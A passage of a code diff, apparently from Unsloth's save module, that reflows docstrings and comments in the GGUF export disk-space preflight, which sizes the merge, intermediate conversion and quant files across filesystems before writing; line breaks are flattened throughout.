CWD; the only- fallback to the input folder fires when that CWD cannot be written to.- `save_to_gguf` then `shutil.move`s the finished file into the `_gguf`- directory, which is a copy and not a rename when the two sit on different- filesystems.-- So on a Kaggle kernel the intermediate - two bytes per parameter, the- largest single staging artefact - still lands in the 20GB /kaggle/working- even after the export has been redirected to /tmp, and that is the one- filesystem the rest of this preflight never measures.-- None when the CWD cannot be read, and then nothing is charged.- """+ """Where the intermediate GGUF is written, before it is moved. `unsloth_zoo.llama_cpp.convert_to_gguf` passes a BARE filename as `--outfile`, so llama.cpp resolves it against the process CWD, falling back to the input folder only when that CWD is unwritable; `save_to_gguf` then `shutil.move`s the file into the `_gguf` directory, which is a copy rather than a rename across filesystems. So on a Kaggle kernel the intermediate, two bytes per parameter and the largest single staging artefact, still lands in the 20GB /kaggle/working even after the export was redirected to /tmp, and that is the one filesystem the rest of this preflight never measures. None when the CWD cannot be read, and then nothing is charged."""try:cwd = os.getcwd()except Exception:@@ -3864,19 +3407,7 @@ def _gguf_conversion_directory(model_directory):def _gguf_model_input_directory(model, save_directory):- """The folder the converter reads, which is not always `save_directory`.-- A non-PEFT model whose `_name_or_path` names a directory is converted from- that checkpoint: `unsloth_save_pretrained_gguf` reassigns `save_directory`- to it before calling `save_to_gguf`, so it is that path which arrives as- `convert_to_gguf`'s `input_folder`. The same condition- `_gguf_writes_16bit_checkpoint` uses to decide no merge is written.-- It matters only where the input folder is also written to, which is the- unwritable-CWD fallback: the intermediate GGUF then lands beside the- reused checkpoint rather than beside the requested output, and those two- can be on different filesystems.- """+ """The folder the converter reads, which is not always `save_directory`. A non-PEFT model whose `_name_or_path` names a directory is converted from that checkpoint, which `unsloth_save_pretrained_gguf` assigns to `save_directory` before calling `save_to_gguf`; the same condition `_gguf_writes_16bit_checkpoint` uses. It matters only in the unwritable-CWD fallback, where the intermediate GGUF lands beside the reused checkpoint rather than the requested output, and the two can be on different filesystems."""if isinstance(model, (PeftModel, PeftModelForCausalLM)):return save_directoryname_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)@@ -3889,18 +3420,7 @@ def _gguf_model_input_directory(model, save_directory):def _merge_reclamation_is_possible(save_directory):- """Will `_free_merge_if_disk_is_tight` have a merge to reclaim?-- It never touches a file that was in `save_directory` before the export- started, because that file is the caller's, not this export's. A directory- already holding a checkpoint under the names a merge writes therefore- yields nothing, and sizing that export as though the merge would go would- pass one that really does peak at all three artefacts.-- A directory that does not exist yet is entirely this export's own, so- True. One that cannot be listed is False, which is what the reclamation- itself does with unreadable provenance.- """+ """Will `_free_merge_if_disk_is_tight` have a merge to reclaim? It never touches a file that was in `save_directory` before the export started, so a directory already holding a checkpoint under the names a merge writes yields nothing, and sizing that export as though the merge would go would pass one that really peaks at all three artefacts. A directory that does not exist yet is entirely this export's own, so True; one that cannot be listed is False, as the reclamation itself does with unreadable provenance."""try:names = os.listdir(save_directory)except FileNotFoundError:@@ -3914,13 +3434,7 @@ def _merge_reclamation_is_possible(save_directory):def _hub_cache_directory():- """Where `_prewarm_base_model_hub_cache` downloads the base model.-- Resolved from the live environment exactly as the pre-warm does, and not- from huggingface_hub's frozen constants, so a runtime cache redirect is- followed here too. Falls back to the constant, then to None, and None- leaves every caller charging the cache where it charged it before.- """+ """Where `_prewarm_base_model_hub_cache` downloads the base model. Resolved from the live environment exactly as the pre-warm does, not from huggingface_hub's frozen constants, so a runtime cache redirect is followed. Falls back to the constant, then to None, which leaves every caller charging the cache where it did before."""try:from unsloth_zoo.hf_cache import _active_cachescache = _active_caches()[1]@@ -3936,21 +3450,7 @@ def _hub_cache_directory():def _gguf_source_dtype(model):- """The initial-conversion dtype `save_to_gguf` will derive from the model.-- `estimate_gguf_export_bytes` omits a requested output that EQUALS the- initial conversion, because that file is already on disk and gets no- quantize pass. So the preflight has to name the same dtype the export- will: told "f16" for a bf16 model asked for `["f16", "q4_k_m"]`, it charges- the f16 file as the intermediate and nothing else, while `save_to_gguf`- writes a bf16 intermediate AND a separate f16 output. That is one whole- checkpoint unaccounted for (15.3GB on Qwen3-8B).-- Mirrors `save_to_gguf` step for step: `dtype_from_config`, mapped to the- f16 / bf16 names it uses, then the same drop to f16 on hardware with no- bf16. Returns "f16" whenever anything cannot be read, which is the same- fallback the exporter prints and takes.- """+ """The initial-conversion dtype `save_to_gguf` will derive from the model. `estimate_gguf_export_bytes` omits a requested output EQUAL to the initial conversion, since that file is already on disk and gets no quantize pass, so the preflight must name the same dtype the export will. Told "f16" for a bf16 model asked for `["f16", "q4_k_m"]` it charges the f16 file as the intermediate and nothing else, while `save_to_gguf` writes a bf16 intermediate AND a separate f16 output: one whole checkpoint unaccounted for (15.3GB on Qwen3-8B). Mirrors `save_to_gguf` step for step, ending in the same drop to f16 on hardware with no bf16, and returns "f16" whenever anything cannot be read."""try:model_dtype = dtype_from_config(model.config)if type(model_dtype) is str:@@ -3966,8 +3466,7 @@ def _gguf_source_dtype(model):if not torch.cuda.is_bf16_supported():return "f16"except Exception:- # save_to_gguf calls this unguarded, so a raise means no export at all and the figure is never used.- # "f16" is the same width either way; only the name has to match.+ # save_to_gguf calls this unguarded, so a raise means no export at all and the figure is never used. "f16" is the same width either way; only the name has to match.return "f16"return dtype@@ -3982,35 +3481,7 @@ def _preflight_gguf_disk(needs_merge = True,merge_is_disposable = False,):- """Refuse a GGUF export that cannot fit, before it writes a single byte.-- Returns `(directory, prewarm_ok)`. `directory` differs from the input- only when a Kaggle kernel's tiny working directory was swapped for the- large /tmp overlay (and then it says so, once). `prewarm_ok` is False when- the export fits only if the Hugging Face cache is not pre-warmed with the- base model first.-- A GGUF export peaks at more than "the model, twice". It caches the- full-precision base, writes the 16-bit HF merge, then an intermediate- GGUF at the source dtype, then each requested quant, and every earlier- artefact is still on disk while the next is written. Gemma4 (26B A4B)- Vision, Gemma4 (31B) Vision and Qwen3 32B each trained, ran inference and- completed `merged_16bit` before dying partway through a GGUF shard,- because the check in front of them had sized the job at two copies.-- Dropping the pre-warm is tried before refusing, because it is a pure- optimization for the NEXT export - the merge downloads what it needs- either way - and an export that runs is worth more than a cache.-- `merge_is_disposable` says the merge is this export's own throwaway, so- `_free_merge_if_disk_is_tight` may delete it once the intermediate GGUF- exists. Then the three artefacts never coexist and the peak is the larger- of the two phases, not their sum. Defaults off: charging the aggregate is- what every caller got before this argument existed.-- Never blocks on a guess: an unmeasurable model or an unmeasurable disk- returns the directory untouched. Set UNSLOTH_DISK_PREFLIGHT=0 to disable.- """+ """Refuse a GGUF export that cannot fit, before it writes a single byte. Returns `(directory, prewarm_ok)`. `directory` differs from the input only when a Kaggle kernel's tiny working directory was swapped for the large /tmp overlay, and then it says so once. `prewarm_ok` is False when the export fits only without pre-warming the Hugging Face cache with the base model. A GGUF export peaks at more than "the model, twice": it caches the full-precision base, writes the 16-bit HF merge, then an intermediate GGUF at the source dtype, then each requested quant, with every earlier artefact still on disk. Gemma4 (26B A4B) Vision, Gemma4 (31B) Vision and Qwen3 32B each trained, ran inference and completed `merged_16bit` before dying partway through a GGUF shard, because the check in front of them had sized the job at two copies. Dropping the pre-warm is tried before refusing, because the merge downloads what it needs either way. `merge_is_disposable` says the merge is this export's own throwaway, so `_free_merge_if_disk_is_tight` may delete it once the intermediate GGUF exists and the peak becomes the larger of two phases rather than their sum; defaults off, which is what every caller got before. Never blocks on a guess: an unmeasurable model or disk returns the directory untouched. UNSLOTH_DISK_PREFLIGHT=0 disables."""if os.environ.get("UNSLOTH_DISK_PREFLIGHT", "1").strip().lower() in ("0","false",@@ -4025,17 +3496,13 @@ def _preflight_gguf_disk(first_conversion = _choose_first_conversion(methods, model_dtype, has_imatrix = has_imatrix)- # save_to_gguf drops a bf16 initial conversion to f16 on hardware without bf16 AFTER resolving one, so- # the drop must be applied after both branches, not only in the resolver. The estimate omits an output- # equal to the initial conversion, so ["bf16"] at first_conversion "bf16" was priced as one file while- # a T4 writes f16 plus bf16: 15.3GB missing on Qwen3-8B.+ # save_to_gguf drops a bf16 initial conversion to f16 on hardware without bf16 AFTER resolving one, so the drop must be applied after both branches, not only in the resolver. The estimate omits an output equal to the initial conversion, so ["bf16"] at first_conversion "bf16" was priced as one file while a T4 writes f16 plus bf16: 15.3GB missing on Qwen3-8B.if first_conversion == "bf16":try:if not torch.cuda.is_bf16_supported():first_conversion = "f16"except Exception:- # save_to_gguf asks unguarded, so a raise means no export runs and this is never used. f16 is- # the wider of the two readings, never the narrower.+ # save_to_gguf asks unguarded, so a raise means no export runs and this is never used. f16 is the wider of the two readings, never the narrower.first_conversion = "f16"need = estimate_gguf_export_bytes(model = model,@@ -4043,9 +3510,7 @@ def _preflight_gguf_disk(first_conversion = first_conversion,needs_merge = needs_merge,)- # The pre-warm runs only on the merge path and only while enabled. Kaggle and Colab return before it,- # so pricing a cache copy there sends an export that fits in /kaggle/working to a /tmp that is not- # kept as notebook output.+ # The pre-warm runs only on the merge path and only while enabled. Kaggle and Colab return before it, so pricing a cache copy there sends an export that fits in /kaggle/working to a /tmp that is not kept as notebook output.prewarm_possible = (needs_mergeand not IS_KAGGLE_ENVIRONMENT@@ -4064,15 +3529,12 @@ def _preflight_gguf_disk(if prewarm_possibleelse need)- # The estimate prices the checkpoint at 2 bytes per parameter, but the non-PEFT fallback writes the- # model's own dtype, so an fp32 model needs the difference. Zero for a 16-bit model.+ # The estimate prices the checkpoint at 2 bytes per parameter, but the non-PEFT fallback writes the model's own dtype, so an fp32 model needs the difference. Zero for a 16-bit model.if need > 0 and needs_merge:extra = _fallback_checkpoint_extra_bytes(model)need += extraneed_with_cache += extra- # The same estimate without the checkpoint: the `_gguf` sibling's intermediate plus every quant. Used- # only when that sibling sits on a smaller filesystem. Its own try, so an estimator that cannot answer- # leaves the main guard standing.+ # The same estimate without the checkpoint: the `_gguf` sibling's intermediate plus every quant. Used only when that sibling sits on a smaller filesystem. Its own try, so an estimator that cannot answer leaves the main guard standing.try:need_sibling = estimate_gguf_export_bytes(model = model,@@ -4082,8 +3544,7 @@ def _preflight_gguf_disk()except Exception:need_sibling = 0- # The first phase a disposable merge peaks at: merge plus intermediate GGUF, before any quant.- # quantization_methods = () still prices the intermediate, which must exist to be read.+ # The first phase a disposable merge peaks at: merge plus intermediate GGUF, before any quant. quantization_methods = () still prices the intermediate, which must exist to be read.try:need_merge_phase = estimate_gguf_export_bytes(model = model,@@ -4093,8 +3554,7 @@ def _preflight_gguf_disk() + (extra if need > 0 and needs_merge else 0)except Exception:need_merge_phase = 0- # Reclamation only helps when a quantize pass follows, and save_to_gguf skips a method equal to the- # initial conversion, whose file is already on disk.+ # Reclamation only helps when a quantize pass follows, and save_to_gguf skips a method equal to the initial conversion, whose file is already on disk.has_quantize_pass = bool([m for m in dict.fromkeys(methods) if m != first_conversion])# The intermediate conversion on its own, for the filesystem it is written to before the move.try:@@ -4112,24 +3572,9 @@ def _preflight_gguf_disk(if need <= 0:return save_directory, True- # Ask the redirect for the same figure the refusal reads. need_with_cache is the aggregate, but a- # disposable merge is reclaimed before the quants, so a phased peak that fits in /kaggle/working was- # relocated. Read before any move, and it can only lower the ask.+ # Ask the redirect for the same figure the refusal reads. need_with_cache is the aggregate, but a disposable merge is reclaimed before the quants, so a phased peak that fits in /kaggle/working was relocated. Read before any move, and it can only lower the ask.phased_need = 0- # The intermediate conversion is written to the process CWD, not into `save_directory` and not into the- # `_gguf` sibling, and only afterwards moved. When that CWD is on its own filesystem, nothing above has- # measured the disk the largest staging artefact actually lands on: on Kaggle it is the 20GB working- # directory the redirect just moved the export away from.- # The intermediate conversion is written to the working directory and only moved to the sibling afterwards,- # so when that working directory is on THIS filesystem the checkpoint and the conversion are on it together.- # Charging each of them alone lets a 60GB checkpoint and a 60GB conversion both pass on 100GB, and then it- # fills. Only the split branch needs this: on one filesystem the aggregate already counts them both, and a- # conversion sharing the sibling's disk is counted in `need_sibling`. `max` and not `+`, because the two- # figures are two PHASES and not two artefacts. The merge runs first and its guard wants the checkpoint over- # 0.95 with nothing else written yet; the conversion is written after, against the unreserved checkpoint.- # Summing them charges the reserve on top of a conversion that does not exist while the guard runs: a 60GB- # merge and a 60GB conversion on 122GB free clear both phases (63.2GB, then 120GB) and the sum asks 123.2GB- # and refuses.+ # The intermediate conversion is written to the process CWD, not into `save_directory` and not into the `_gguf` sibling, and only afterwards moved, so when that CWD is on its own filesystem nothing above has measured the disk the largest staging artefact actually lands on: on Kaggle it is the 20GB working directory the redirect just moved the export away from. When that working directory is on THIS filesystem the checkpoint and the conversion are on it together, and charging each of them alone lets a 60GB checkpoint and a 60GB conversion both pass on 100GB and then it fills. Only the split branch needs this: on one filesystem the aggregate already counts them both, and a conversion sharing the sibling's disk is counted in `need_sibling`. `max` and not `+`, because the two figures are two PHASES and not two artefacts: the merge runs first and its guard wants the checkpoint over 0.95 with nothing else written yet, the conversion is written after against the unreserved checkpoint, and summing them charges the reserve on top of a conversion that does not exist while the guard runs, so a 60GB merge and a 60GB conversion on 122GB free clear both phases (63.2GB, then 120GB) while the sum asks 123.2GB and refuses.if (merge_is_disposableand needs_merge@@ -4151,10 +3596,7 @@ def _preflight_gguf_disk(need_bytes = redirect_need,what = "GGUF export",)- # Asked the aggregate and declined, because this directory already holds weights reclamation may not- # touch. After the move the merge is reclaimable, so re-ask at the phased peak: 141GB aggregate declines a- # 130GB /tmp, but the real 123GB peak fits. Gated on this directory being too small for the aggregate,- # else a lower ask could cancel the move for nothing.+ # Asked the aggregate and declined, because this directory already holds weights reclamation may not touch. After the move the merge is reclaimable, so re-ask at the phased peak: 141GB aggregate declines a 130GB /tmp, but the real 123GB peak fits. Gated on this directory being too small for the aggregate, else a lower ask could cancel the move for nothing.if message is None and 0 < phased_need < redirect_need:free_before_move = free_bytes(save_directory)if free_before_move is not None and free_before_move < need:@@ -4169,9 +3611,7 @@ def _preflight_gguf_disk(free = free_bytes(save_directory)- # The quants and intermediate GGUF go to a SIBLING of save_directory, on the parent's filesystem, which is- # the disk just measured unless save_directory is a mount or symlink. When split, charge each filesystem- # only what it holds. One predicate, computed once, so the two halves cannot disagree.+ # The quants and intermediate GGUF go to a SIBLING of save_directory, on the parent's filesystem, which is the disk just measured unless save_directory is a mount or symlink. When split, charge each filesystem only what it holds. One predicate, computed once, so the two halves cannot disagree.gguf_directory = _gguf_output_directory(save_directory)gguf_free = free_bytes(gguf_directory)separate_storage = (@@ -4179,26 +3619,18 @@ def _preflight_gguf_disk(and gguf_free is not Noneand _on_separate_filesystems(save_directory, gguf_directory))- # Resolved before the split is priced, because where the conversion lands decides which filesystem it is- # charged to.+ # Resolved before the split is priced, because where the conversion lands decides which filesystem it is charged to.conversion_directory = _gguf_conversion_directory(_gguf_model_input_directory(model, save_directory))- # Cleared when the cache shares a filesystem with room for the export but not a cached base too: dropping- # the optional half beats failing. The message travels with the flag, since more than one filesystem can- # set it and each has to name the one it measured.+ # Cleared when the cache shares a filesystem with room for the export but not a cached base too: dropping the optional half beats failing. The message travels with the flag, since more than one filesystem can set it and each has to name the one it measured.sibling_prewarm_ok = Trueprewarm_drop_message = None- # Resolved once, above the split, since the cache need not be on either filesystem. Zero whenever the pre-- # warm cannot run, which leaves every branch below inert.+ # Resolved once, above the split, since the cache need not be on either filesystem. Zero whenever the pre-warm cannot run, which leaves every branch below inert.cache_extra = max(0, need_with_cache - need)cache_directory = _hub_cache_directory() if cache_extra > 0 else None- # The cache copy lands wherever the cache is, which need not be the filesystem holding `save_directory`:- # `HF_HOME` on a data volume is the ordinary layout on a machine with more than one disk. Charging it here- # drops the pre-warm on a disk that had room, and the next export re-downloads the base. It only LOWERS- # the figure and only the pre-warm reads it, so nothing that fit before is refused now. Unresolvable- # leaves it charged here, where it was charged before.+ # The cache copy lands wherever the cache is, which need not be the filesystem holding `save_directory`: `HF_HOME` on a data volume is the ordinary layout on a machine with more than one disk. Charging it here drops the pre-warm on a disk that had room, and the next export re-downloads the base. It only LOWERS the figure and only the pre-warm reads it, so nothing that fit before is refused now. Unresolvable leaves it charged here, where it was charged before.cache_here = cache_extraif (cache_extra > 0@@ -4209,15 +3641,10 @@ def _preflight_gguf_disk(need_here = needneed_here_with_cache = need + cache_hereif separate_storage:- # need_sibling is this estimate without the checkpoint, so the difference is the checkpoint alone; an- # unsizable sibling leaves it 0, giving the previous behaviour. Both terms carry DISK_SLACK_BYTES and- # it cancels, so merge_and_overwrite_lora's free * 0.95 reserve must be re-applied or this passes an- # export the merge kills seconds later.+ # need_sibling is this estimate without the checkpoint, so the difference is the checkpoint alone; an unsizable sibling leaves it 0, giving the previous behaviour. Both terms carry DISK_SLACK_BYTES and it cancels, so merge_and_overwrite_lora's free * 0.95 reserve must be re-applied or this passes an export the merge kills seconds later.checkpoint_here = max(0, need - need_sibling)need_here = checkpoint_here- # The cache copy is not part of the merge and not what the zoo guard measures, so it rides on top of- # the checkpoint. It need not land HERE either: with save_directory mounted elsewhere, ~/.cache and- # the _gguf sibling stay on the parent disk.+ # The cache copy is not part of the merge and not what the zoo guard measures, so it rides on top of the checkpoint. It need not land HERE either: with save_directory mounted elsewhere, ~/.cache and the _gguf sibling stay on the parent disk.cache_sibling = 0if (cache_extra > 0@@ -4228,20 +3655,12 @@ def _preflight_gguf_disk(need_here_with_cache = checkpoint_here + cache_herewrites_a_lora_merge = isinstance(model, (PeftModel, PeftModelForCausalLM))if writes_a_lora_merge and needs_merge and need_sibling > 0 and checkpoint_here > 0:- # Four conditions, each dropping a charge for a guard that will not run: only a PEFT model reaches- # merge_and_overwrite_lora's free * 0.95, a bare self.save_pretrained reserves nothing,- # needs_merge = False writes no merge, and an unsizable sibling leaves a fallback figure.- # min(need, ...) keeps the split's promise: cancel a redirect, never cause a refusal.+ # Four conditions, each dropping a charge for a guard that will not run: only a PEFT model reaches merge_and_overwrite_lora's free * 0.95, a bare self.save_pretrained reserves nothing, needs_merge = False writes no merge, and an unsizable sibling leaves a fallback figure. min(need, ...) keeps the split's promise: cancel a redirect, never cause a refusal.reserved = min(need, math.ceil(checkpoint_here / _MERGE_FREE_SPACE_RESERVE))need_here = max(need_here, reserved)- # The cache copy is written BEFORE the merge and is still there when the guard runs, so it comes- # off the free space the guard sees. Riding on top of the reserved figure rather than beside it:- # 16GB checkpoint + 14GB cache on 30.5GB passes a max of 30GB and then the merge refuses under its- # own 5%. Added instead, this drops the pre-warm, not the export.+ # The cache copy is written BEFORE the merge and is still there when the guard runs, so it comes off the free space the guard sees. Riding on top of the reserved figure rather than beside it: 16GB checkpoint + 14GB cache on 30.5GB passes a max of 30GB and then the merge refuses under its own 5%. Added instead, this drops the pre-warm, not the export.need_here_with_cache = max(need_here_with_cache, reserved + cache_here)- # The intermediate conversion lands in the working directory before the move, so on THIS filesystem- # the checkpoint and conversion coexist and charging each alone lets 60GB + 60GB pass on 100GB. max,- # not +: they are two phases, and summing them refuses 122GB free that clears both.+ # The intermediate conversion lands in the working directory before the move, so on THIS filesystem the checkpoint and conversion coexist and charging each alone lets 60GB + 60GB pass on 100GB. max, not +: they are two phases, and summing them refuses 122GB free that clears both.if (need_conversion > 0and conversion_directory is not None@@ -4251,9 +3670,7 @@ def _preflight_gguf_disk(need_here_with_cache = max(need_here_with_cache, checkpoint_here + need_conversion + cache_here)- # No longer gated on the sibling being the TIGHTER of the two: now that the checkpoint is charged only- # its own portion, a sibling roomier than save_directory but under need_sibling must be refused here,- # since the aggregate comparison is gone.+ # No longer gated on the sibling being the TIGHTER of the two: now that the checkpoint is charged only its own portion, a sibling roomier than save_directory but under need_sibling must be refused here, since the aggregate comparison is gone.if gguf_free < need_sibling:raise RuntimeError(f"Unsloth: Not enough disk space to convert to GGUF.\n"@@ -4282,30 +3699,21 @@ def _preflight_gguf_disk(and need_sibling > 0and _merge_reclamation_is_possible(save_directory)):- # _free_merge_if_disk_is_tight deletes this export's merge once the intermediate exists, so the three- # artefacts never coexist and the peak is the larger of the two phases, not their sum:- # Nemotron-3-Nano-30B-A3B peaks at 123GB where the 141GB aggregate refuses a 132GB disk. Single- # filesystem only, since reclamation declines across devices.+ # _free_merge_if_disk_is_tight deletes this export's merge once the intermediate exists, so the three artefacts never coexist and the peak is the larger of the two phases, not their sum: Nemotron-3-Nano-30B-A3B peaks at 123GB where the 141GB aggregate refuses a 132GB disk. Single filesystem only, since reclamation declines across devices.peak = max(need_merge_phase, need_sibling)if peak < need:- # Can only lower the figure, so nothing the head allowed is refused here. The cache copy is not- # reclaimed, so it rides on top of the peak as it did on the sum.+ # Can only lower the figure, so nothing the head allowed is refused here. The cache copy is not reclaimed, so it rides on top of the peak as it did on the sum.need_here = peakneed_here_with_cache = peak + cache_here- # The intermediate conversion is written to the process CWD and only then moved, so when that CWD is its- # own filesystem nothing above has measured the disk the largest staging artefact lands on -- on Kaggle,- # the 20GB working directory the redirect just left.+ # The intermediate conversion is written to the process CWD and only then moved, so when that CWD is its own filesystem nothing above has measured the disk the largest staging artefact lands on: on Kaggle, the 20GB working directory the redirect just left.if (need_conversion > 0and conversion_directory is not Noneand _on_separate_filesystems(conversion_directory, gguf_directory)):conversion_free = free_bytes(conversion_directory)- # The pre-warm leaves the base model cached for the rest of the export, so on a shared filesystem the- # cached base and the intermediate coexist, which cache_here and cache_sibling never charge. The pre-- # warmer's own gate asks for two base copies, and an f32 conversion is two copies on its own: 38.1GB- # free clears both checks and runs out 7.6GB short.+ # The pre-warm leaves the base model cached for the rest of the export, so on a shared filesystem the cached base and the intermediate coexist, which cache_here and cache_sibling never charge. The pre-warmer's own gate asks for two base copies, and an f32 conversion is two copies on its own: 38.1GB free clears both checks and runs out 7.6GB short.cache_with_conversion = (cache_extraif cache_directory is not None@@ -4332,8 +3740,7 @@ def _preflight_gguf_disk(and cache_with_conversion > 0and conversion_free < need_conversion + cache_with_conversion):- # Only reached once the conversion alone cleared the raise above, so this cannot turn a refusal into- # a pass: it drops the optional half of an export that otherwise fits.+ # Only reached once the conversion alone cleared the raise above, so this cannot turn a refusal into a pass: it drops the optional half of an export that otherwise fits.sibling_prewarm_ok = Falseprewarm_drop_message = (f"Unsloth: Skipping the Hugging Face cache pre-warm - the Hugging Face "@@ -4382,14 +3789,7 @@ def _preflight_gguf_disk(def _offloaded_parameter_hint(model):- """Sentence to append when a save failed on offloaded (meta) parameters.-- Accelerate leaves offloaded parameters on the meta device, so saving dies- inside accelerate with "'NoneType' object is not subscriptable" or "Cannot- copy out of meta tensor", neither of which names the offload. Returns ""- when no meta parameter is present, so unrelated failures are not- mislabelled.- """+ """Sentence to append when a save failed on offloaded (meta) parameters. Accelerate leaves offloaded parameters on the meta device, so saving dies inside accelerate with "'NoneType' object is not subscriptable" or "Cannot copy out of meta tensor", neither of which names the offload. Returns "" when no meta parameter is present, so unrelated failures are not mislabelled."""try:meta = []for name, tensor in model.named_parameters():@@ -4414,14 +3814,7 @@ def _offloaded_parameter_hint(model):def _model_basename(name_or_path, default = "model") -> str:- """Leaf name of a model id or path, for use as a GGUF filename stem.-- Strips `\\` as well as `/` on every host: `os.path.basename` returns the whole- `D:\\...` string on POSIX. A directory or drive left in the stem makes- `os.path.join(gguf_directory, stem)` discard gguf_directory under ntpath, so the- GGUF lands next to the base model (#7897); an empty stem gives a hidden- `.Q4_K_M.gguf` that `glob.glob` cannot see.- """+ """Leaf name of a model id or path, for use as a GGUF filename stem. Strips `\\` as well as `/` on every host: `os.path.basename` returns the whole `D:\\...` string on POSIX. A directory or drive left in the stem makes `os.path.join(gguf_directory, stem)` discard gguf_directory under ntpath, so the GGUF lands next to the base model (#7897); an empty stem gives a hidden `.Q4_K_M.gguf` that `glob.glob` cannot see."""if name_or_path is None:return defaulttry:@@ -4549,8 +3942,7 @@ def unsloth_save_pretrained_gguf(self, tokenizer, save_directory, outtype = _outtype, token = token)- # base_model_name keeps the full id for create_ollama_modelfile's mapper lookup; only the filename stem is- # trimmed.+ # base_model_name keeps the full id for create_ollama_modelfile's mapper lookup; only the filename stem is trimmed.base_model_name = getattr(getattr(self, "config", None), "_name_or_path", None)try:base_model_name = get_model_name(base_model_name, load_in_4bit = False)@@ -4569,9 +3961,7 @@ def unsloth_save_pretrained_gguf(is_gpt_oss = _is_gpt_oss(self)- # Will this fit? Ask before the merge. Runs here because `arguments` below snapshots locals(), so a- # redirected save_directory must be in place first. gpt-oss takes the mxfp4 route, not the- # merge/convert/quantize one this sizes.+ # Will this fit? Ask before the merge. Runs here because `arguments` below snapshots locals(), so a redirected save_directory must be in place first. gpt-oss takes the mxfp4 route, not the merge/convert/quantize one this sizes._gguf_prewarm_ok = Trueif not is_gpt_oss:save_directory, _gguf_prewarm_ok = _preflight_gguf_disk(@@ -4583,16 +3973,14 @@ def unsloth_save_pretrained_gguf(model_dtype = _gguf_source_dtype(self),has_imatrix = _imatrix_is_enabled(imatrix_file),needs_merge = _gguf_writes_16bit_checkpoint(self),- # The same flag save_to_gguf reclaims on. Where a non-PEFT model reuses its own checkpoint the- # flag is cleared below on the same condition, so the two cannot disagree.+ # The same flag save_to_gguf reclaims on. Where a non-PEFT model reuses its own checkpoint the flag is cleared below on the same condition, so the two cannot disagree.merge_is_disposable = merge_is_disposable,)arguments = dict(locals())arguments["model"] = selfarguments["tokenizer"] = tokenizer- arguments["push_to_hub"] = False # We handle upload ourselves- # GPT-OSS needs the mxfp4 save method.+ arguments["push_to_hub"] = Falseif is_gpt_oss:if quantization_method is not None:_qm = (@@ -4624,8 +4012,7 @@ def unsloth_save_pretrained_gguf(del arguments["merge_is_disposable"] # decides reclamation, not how the merge is writtendel arguments["gguf_shard_size"] # only used by the gguf converter- # Preserve the requested output before reusing a non-PEFT checkpoint as input. Same definition the- # preflight sized, so it measured the disk these files land on.+ # Preserve the requested output before reusing a non-PEFT checkpoint as input. Same definition the preflight sized, so it measured the disk these files land on.gguf_directory = _gguf_output_directory(save_directory)# save_pretrained writes the processor's own chat_template.jinja, so dedupe and restore both.@@ -4636,13 +4023,10 @@ def unsloth_save_pretrained_gguf(]fix_bos_token, _ = fix_tokenizer_bos_token(tokenizer)- # Resolve the imatrix (download, validate, rename *.gguf_file) up front, so a bad path or an unavailable- # upstream fails before the expensive merge and never reaches the IQ-quant gate.+ # Resolve the imatrix (download, validate, rename *.gguf_file) up front, so a bad path or an unavailable upstream fails before the expensive merge and never reaches the IQ-quant gate.imatrix_path = _resolve_imatrix_file(self, imatrix_file, token, save_directory)- # Settle ownership before a byte is written: reclamation may only take files this export made, and- # afterwards the directory cannot say, since a reused output directory can already hold a finished sharded- # save transformers neither removes nor distinguishes from ours.+ # Settle ownership before a byte is written: reclamation may only take files this export made, and afterwards the directory cannot say, since a reused output directory can already hold a finished sharded save transformers neither removes nor distinguishes from ours.try:preexisting_weights = frozenset(os.listdir(save_directory))except FileNotFoundError:@@ -4654,8 +4038,7 @@ def unsloth_save_pretrained_gguf(is_peft_model = isinstance(self, PeftModelForCausalLM) or isinstance(self, PeftModel)- # The flag holds for both branches that write the weights; the middle branch reuses the user's own- # checkpoint and clears it, whatever the caller asked for.+ # The flag holds for both branches that write the weights; the middle branch reuses the user's own checkpoint and clears it, whatever the caller asked for.if is_peft_model:print(f"Unsloth: Merging model weights to {'mxfp4' if is_gpt_oss else '16-bit'} format...")try:@@ -4668,28 +4051,22 @@ def unsloth_save_pretrained_gguf(f"{_offloaded_parameter_hint(self)}") from eelse:- # Non-PEFT model: the checkpoint already exists, so point save_to_gguf at the original path instead of- # re-saving into a temp subdir.+ # Non-PEFT model: the checkpoint already exists, so point save_to_gguf at the original path instead of re-saving into a temp subdir.original_path = getattr(self.config, "_name_or_path", None)if original_path and os.path.isdir(original_path):print(f"Unsloth: Model is not a PEFT model. Using existing checkpoint at {original_path}")save_directory = original_path- # The user's own checkpoint, not an intermediate: without this a save_pretrained_gguf on a tight- # disk would delete the model it was handed.+ # The user's own checkpoint, not an intermediate: without this a save_pretrained_gguf on a tight disk would delete the model it was handed.merge_is_disposable = False- # Persist tokenizer fixes (BOS stripping) so the GGUF converter reads the corrected template.- # Persist tokenizer fixes (e.g. BOS token stripping) to disk so the GGUF converter picks up the- # corrected chat template.+ # Persist tokenizer fixes (BOS stripping) so the GGUF converter reads the corrected chat template.if tokenizer is not None:tokenizer.save_pretrained(save_directory)else:print("Unsloth: Model is not a PEFT model. Saving directly without LoRA merge...")os.makedirs(save_directory, exist_ok = True)- # `gguf_directory` can point anywhere, and freeing bytes on one filesystem does nothing for a- # quantize pass writing to another: without this the merge could be deleted for a destination it- # cannot help, data gone and the export still out of space.+ # `gguf_directory` can point anywhere, and freeing bytes on one filesystem does nothing for a quantize pass writing to another: without this the merge could be deleted for a destination it cannot help, data gone and the export still out of space.try:self.save_pretrained(save_directory)if tokenizer is not None:@@ -4772,8 +4149,8 @@ def unsloth_save_pretrained_gguf(model_directory = save_directory,quantization_method = quantization_methods,first_conversion = first_conversion,- is_vlm = is_vlm, # Pass VLM flag- is_gpt_oss = is_gpt_oss, # Pass gpt_oss Flag+ is_vlm = is_vlm,+ is_gpt_oss = is_gpt_oss,imatrix = imatrix_path,gguf_directory = gguf_directory,merge_is_disposable = merge_is_disposable,@@ -4872,12 +4249,10 @@ _DISK_FULL_PATTERNS = ("write failed: no space",)-# Kaggle allows 20GB. Below this headroom a failed conversion is plausibly about space; above it, blaming disk-# sends the user nowhere useful.+# Kaggle allows 20GB. Below this headroom a failed conversion is plausibly about space; above it, blaming disk sends the user nowhere useful._DISK_HEADROOM_BYTES = 2 * 1024**3-# A SIGKILLed child is 128 + 9 to a shell, so llama-quantize under shell = True surfaces as "returned non-zero-# exit status 137" with no signal named.+# A SIGKILLed child is 128 + 9 to a shell, so llama-quantize under shell = True surfaces as "returned non-zero exit status 137" with no signal named._OOM_KILL_PATTERNS = ("sigkill","exit status 137",@@ -4888,11 +4263,7 @@ 